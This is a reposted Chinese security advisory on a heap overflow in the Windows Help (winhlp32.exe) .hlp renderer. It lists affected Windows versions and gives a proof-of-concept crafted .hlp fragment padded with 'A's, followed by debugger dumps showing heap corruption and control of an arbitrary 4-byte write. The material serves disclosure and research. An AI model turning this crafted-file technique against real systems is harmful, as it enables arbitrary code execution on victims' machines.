Microsoft Windows協助圖形處理堆溢出漏洞(網上拷貝的)

來源:互聯網
上載者:User

 

拷貝自 (http://hi.baidu.com/jymx6/blog/item/d609f2c4afb132a98326ac61.html),以後沒事的時候可以研究一下

 

Microsoft Windows協助圖形處理堆溢出漏洞2006-04-16 10:11

Microsoft Windows協助圖形處理堆溢出漏洞

受影響系統:

Microsoft Windows XP SP2

Microsoft Windows XP SP1

Microsoft Windows Server 2003 SP1

Microsoft Windows Server 2003

Microsoft Windows NT Server 4.0

Microsoft Windows 2000SP4

Microsoft Windows 2000SP3

Microsoft Windows 2000SP2

Microsoft Windows 2000SP1

描述:

--------------------------------------------------------------------------------

BUGTRAQ ID: 17325

Microsoft Windows是微軟發布的非常流行的作業系統。

winhlp32.exe的.hlp檔案渲染引擎中存在堆溢出漏洞,攻擊者可以通過在.hlp檔案中嵌入HTML頁面來觸發這個漏洞,覆蓋記憶體塊並執行任意指令。

測試方法:

--------------------------------------------------------------------------------

警 告

以下程式(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

以acmsetup.hlp為例:

......snip .....

:CW(`main'):FH()

:CBB(`btn_topics

',`NS():JI(`>mai

n',`HelpTopicsBu

tton'):FH():CS()

:FH():FD()'):SPC

(16777215):FH().

.........lP.....

............. ..

.z.../..........

................

................

..w..x......x...

..5.`......%...e

% ....3.@=......

..x.......w..

// 攻擊者可以注入惡意輸入來觸發這個漏洞:

......snip......

:CW(`main'):FH()

:CBB(`btn_topics

',`NS():JI(`>mai

n',`HelpTopicsBu

tton'):FH():CS()

:FH():FD()'):SPC

(16777215):FH().

.........lP.....

............. ..

.z.../..........

.........AAAAAAA

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA

plus 10,000 more

winhlp32.exe開啟了.hlp檔案後,堆狀態如下:

HEAP[winhlp32.exe]: Heap block at 0009B940 modified at 0009B9A2 past requested size of 5a

0:000> dd 0009b940

0009b940 0005000f 001e0700 4f26001f 41697470

0009b950 41414141 abababab 41ababab feeefeee

0009b960 4100feee 41414141 00040000 41000005

0009b970 554d001b 41002928 41414141 feababab

0009b980 4100feee 00000000 41060000 41414141

0009b990 6f42001f 416d6b6f 65446b72 416e6966

0009b9a0 41414141 abababab 41ababab feeefeee

0009b9b0 4100feee 00004141 000f0006 feee0400

HEAP[winhlp32.exe]: Invalid Address specified to RtlFreeHeap( 00090000, 0009B948 )

(728.2f8): Break instruction exception - code 80000003 (first chance)

eax=0009b940 ebx=0009b940 ecx=77f75c17 edx=0007ecba esi=00090000 edi=0009b940

eip=77f75a58 esp=0007eec4 ebp=0007eed8 iopl=0       nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000         efl=00000202

0:000> dd 0009B948

0009b948 4f26001f 41697470 41414141 abababab

0009b958 41ababab feeefeee 4100feee 41414141

0009b968 00040000 41000005 554d001b 41002928

0009b978 41414141 feababab 4100feee 00000000

0009b988 41060000 41414141 6f42001f 416d6b6f

0009b998 65446b72 416e6966 41414141 abababab

0009b9a8 41ababab feeefeee 4100feee 00004141

0009b9b8 000f0006 00230400 000901a8 000901a8

HEAP[winhlp32.exe]: Heap block at 0009BE50 modified at 0009BF54 past requested size of fc

0:000> dd 0009BE50

0009be50 00180023 001c0700 02390006 007a0000

0009be60 00000000 02b30000 00280000 000e0000

0009be70 000d0000 00010000 00000004 00000000

0009be80 00000000 005a0000 00100000 00000000

0009be90 00000000 00000000 80000080 80000000

0009bea0 00800080 00800000 80800080 41410000

0009beb0 41414141 41414141 41414141 41414141

0009bec0 41414141 41414141 41414141 41414141

可見已經在0009be54覆蓋了之前塊的尾部,控制了以下部分:

0:000> dd 0009BF54

0009bf54 41414141 41414141 41414141 41414141

0009bf64 41414141 41414141 41414141 41414141

0009bf74 41414141 41414141 41414141 41414141

0009bf84 41414141 41414141 41414141 41414141

0009bf94 41414141 41414141 41414141 41414141

0009bfa4 41414141 41414141 41414141 41414141

0009bfb4 41414141 41414141 41414141 41414141

0009bfc4 41414141 41414141 41414141 41414141

由於可以在堆管理結構中直接控制兩個指標,因此可以覆蓋4位元組任意記憶體:

EAX 41414141

ECX 41414141

EDX 0009E5D8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."

EBX 00090000

ESP 0007F90C

EBP 0007FB30

ESI 0009E5D8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."

EDI 00000068

EIP 77F581BD ntdll.77F581BD

建議:

--------------------------------------------------------------------------------

廠商補丁:

Microsoft

---------

目前廠商還沒有提供補丁或者升級程式,我們建議使用此軟體的使用者隨時關注廠商的首頁以擷取最新版本:

http://www.microsoft.com/technet/security/

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.